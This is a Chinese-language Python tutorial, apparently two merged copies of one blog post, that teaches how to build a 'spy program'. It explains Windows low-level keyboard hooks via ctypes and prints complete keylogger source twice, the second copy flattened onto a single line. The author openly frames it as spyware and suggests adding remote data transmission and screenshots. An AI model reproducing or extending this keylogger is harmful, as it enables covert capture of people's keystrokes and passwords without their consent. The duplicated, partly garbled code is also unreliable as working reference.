知识点

这次我们使用python来打造一款间谍程序

程序中会用到许多知识点，大致分为四块

　　win32API 此处可以在MSDN上查看

　　Python基础重点在cpytes库的使用，使用方法请点击此处

　　C语言基础

　　Hook

程序的基本原理在于通过注册Hook，记录系统事件

那么什么是Hook呢

Hook 技术又叫做钩子函数，系统在调用函数之前，钩子程序就先捕获该消息，钩子函数先得到控制权，这时钩子函数既可以加工处理（改变）该函数的执行行为，还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库，在Python中我们使用ctypes来导入，导入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用处呢

　　user32.dll　　是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息

　　kernel32.dll　　控制着系统的内存管理、数据的输入输出操作和中断处理

流程部分

知道了我们要使用什么样的工具，那么第一步应该怎么做呢

1.首先我们需要先注册Hook到系统上，通过user32.dll中的SetWindowsHookExA函数，我们可以在系统上注册钩子

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示，详细文档点击此链接查看

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件，我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针，要填入钩子过程（函数），我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄，我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢，通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数，具体要使用哪一个呢，这两个的区别为

　　WINFUNCTYPE　　为Windows下独有的，通过使用使用stdcall调用约定的函数

　　CFUNCTYPE　　　使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数，同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int    nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

按照官方文档提示如果nCode小于零，则挂钩过程必须将消息传递给CallNextHookEx函数，而无需进一步处理，并且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]

def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        # 此处插入我们的代码
        pass
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook，不然大量的Hook会使系统运行缓慢，虽然在Windows 7及更高版本上，该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dll的UnhookWindowsHookEx，参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码

 1 import sys
 2 from ctypes import *
 3 from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
 4 
 5 user32 = CDLL("user32.dll")
 6 kernel32 = CDLL("kernel32.dll")
 7 
 8 
 9 class KBDLLHOOKSTRUCT(Structure):
10     _fields_ = [
11         ('vkCode', DWORD),
12         ('scanCode', DWORD),
13         ('flags', DWORD),
14         ('time', DWORD),
15         ('dwExtraInfo', DWORD)]
16 
17 
18 def uninstallHookProc(hooked):
19     if hooked is None:
20         return
21     user32.UnhookWindowsHookEx(hooked)
22     hooked = None
23 
24 
25 def hookProc(nCode, wParam, lParam):
26     if nCode < 0:
27         return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
28     else:
29         if wParam == 256:
30             if 162 == lParam.contents.value:
31                 print("Ctrl pressed, call Hook uninstall()")
32                 uninstallHookProc(hooked)
33                 sys.exit(-1)
34             capsLock = user32.GetKeyState(20)
35             # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
36             if lParam.contents.value==13:
37                 print("\n")
38             elif capsLock:
39                 print(chr(lParam.contents.value),end="")
40             else:
41                 print(chr(lParam.contents.value+32),end="")
42     return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
43 
44 
45 def startKeyLog():
46     msg = MSG()
47     user32.GetMessageA(byref(msg), 0, 0, 0)
48 
49 
50 def installHookProc(hooked, pointer):
51     hooked = user32.SetWindowsHookExA(
52         13,
53         pointer,
54         kernel32.GetModuleHandleW(),
55         0
56     )
57     if not hooked:
58         return False
59     return True
60 
61 
62 HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
63 pointer = HOOKPROC(hookProc)
64 hooked = None
65 if installHookProc(hooked, pointer):
66     print("Hook installed")
67     try:
68         msg = MSG()
69         user32.GetMessageA(byref(msg), 0, 0, 0)
70     except KeyboardInterrupt as kerror:
71         uninstallHookProc(hooked)
72         print("Hook uninstall...")
73 else:
74     print("Hook installed error")

贴上我们的效果图

我们还可以再添加上额外的代码比如数据传输，截屏等等 ^_^

我们常听说：如果要操作某个软件或者监听某个软件的话，可以使用钩子（ Hook ）钩住软件，那这是如何操作的呢？用Python又如何实现呢？

本教程我们将通过注册Hook 打造一款间谍程序，来监听win系统的笔记本，先给大家演示下效果吧！

一、 Hook 技术

程序的基本原理在于通过 注册Hook ，记录系统事件。

那么什么是Hook呢？

Hook 技术又叫做 钩子函数 ，系统在调用函数之前，钩子程序就先捕获该消息，钩子函数先得到控制权，这时钩子函数既可以加工处理（改变）该函数的执行行为，还可以强制结束消息的传递

注册Hook时我们需要使用到两个DLL库： user32.dll 和 kernel32.dll 。这两个DLL有什么用处呢：

user32.dll ：是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息
kernel32.dll ：控制着系统的内存管理、数据的输入输出操作和中断处理

二、实现

了解了钩子的用处，那我们就来正式开始实现吧！

1.注册钩子

首先我们需要先注册Hook到系统上，通过 user32.dll中的SetWindowsHookExA函数 我们可以在系统上注册钩子。

通过查看微软官方文档( https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa ) ，我们看到 SetWindowsHookExA 函数的参数及参数类型如上所示。

我们简单介绍一下关于这几个参数的含义：

idHook：钩子的类型，可以监听消息、键盘、鼠标等等，这里我们来 监视低级键盘输入事件作为案例演示！
lpfn ：钩子函数，这里就表示你监听到事件后要怎么处理，核心作用！
hmod ： DLL句柄(类似编号) ，我们可以使用 kernel32 中的 GetModuleHandleW 来获取句柄
dwThreadId ：我们填入0代表与同一桌面上所有的线程关联

上图中的代码我们可以看出使用的是C++语法，这时候Python中的 ctypes库 就可以助我们一臂之力！

ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型， 并允许调用 DLL 或共享库中的函数 。可使用该模块以纯 Python 形式对这些库进行封装。

Python使用 ctypes库 注册钩子代码：

from ctypes import CDLL
 
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
 
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

更多关于 ctypes库 使用教程可查看Python官方文档：

https://docs.python.org/zh-cn/3.7/library/ctypes.html

2.编写钩子函数

上面我们说过 监视低级键盘输入事件( WH_KEYBOARD_LL ) 作为案例演示！

而监听键盘事件(WH_KEYBOARD_LL) 会使用 LowLevelKeyboardProc 回调函数，同时我们也需要在Python定义它!

我们再次使用Python的 ctypes库 定义一个回调函数！

defhookProc(nCode, wParam, lParam):

if nCode < 0:

return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

else:

# 此处插入我们的代码

pass

return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

3.删除Hook

最后在我们退出程序时还需要删除Hook，不然大量的Hook会使系统运行缓慢。

虽然在Windows 7及更高版本上，该钩子会被静默删除而不被调用。

但是应用程序无法知道挂钩是否已删除，我们还是主动进行删除。

删除需要使用 user32.dll 的 UnhookWindowsHookEx。

def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None

完整的钩子函数：

defhookProc(nCode, wParam, lParam):

if nCode < 0:

return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

else:

if wParam == 256:

if 162 == lParam.contents.value:

print("Ctrl pressed, call Hook uninstall()")

uninstallHookProc(hooked)

sys.exit(-1)

capsLock = user32.GetKeyState(20)

if lParam.contents.value == 13:

print("\n")

elif capsLock:

print(chr(lParam.contents.value), end="")

else:

print(chr(lParam.contents.value + 32), end="")

return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

4.声明原型

钩子函数已经写好了，但是这是Python函数，如何将它转成c++函数呢？这样windows才能读取。

通过 ctypes文档 我们可以得知Windows下使用WINFUNCTYPE来声明函数原型！

将创建好的Python函数声明为c++函数：

# 创建声明，c_int表示函数入参类型

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

# 声明函数原型

handleProc = HOOKPROC(hookProc)

最后我们将已经已经声明好的函数原型 handleProc ，传入最开始注册的钩子函数里：

<span><span style="letter-spacing: 2px;">user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)</span></span>

5.完整代码

上面的4步基本是主要的流程，一些更详细的操作这里不再过多介绍，给出全部代码，不到100行。

import sysfrom ctypes import *from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure):    _fields_ = [        ('vkCode', DWORD),        ('scanCode', DWORD),        ('flags', DWORD),        ('time', DWORD),        ('dwExtraInfo', DWORD)]def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = Nonedef hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog():    msg = MSG()    user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, handleProc):    hooked = user32.SetWindowsHookExA(        13,        handleProc,        kernel32.GetModuleHandleW(),        0    )    if not hooked:        return False    return TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))handleProc = HOOKPROC(hookProc)hooked = Noneif installHookProc(hooked, handleProc):    print("Hook installed")    try:        msg = MSG()        user32.GetMessageA(byref(msg), 0, 0, 0)    except KeyboardInterrupt as kerror:        uninstallHookProc(hooked)        print("Hook uninstall...")else:    print("Hook installed error")

Windows系统的同学可以试试效果哦～

三、总结

本次教程给大家简单的介绍了下： 在Python中如何使用ctypes库调用Windows API。

当然，上面我们监听到消息之后还可以远程发送或者截屏保存等等操作都可以，期待大家的骚操作哦！

使用Python打造一款间谍程序

知识点

流程部分

二、实现

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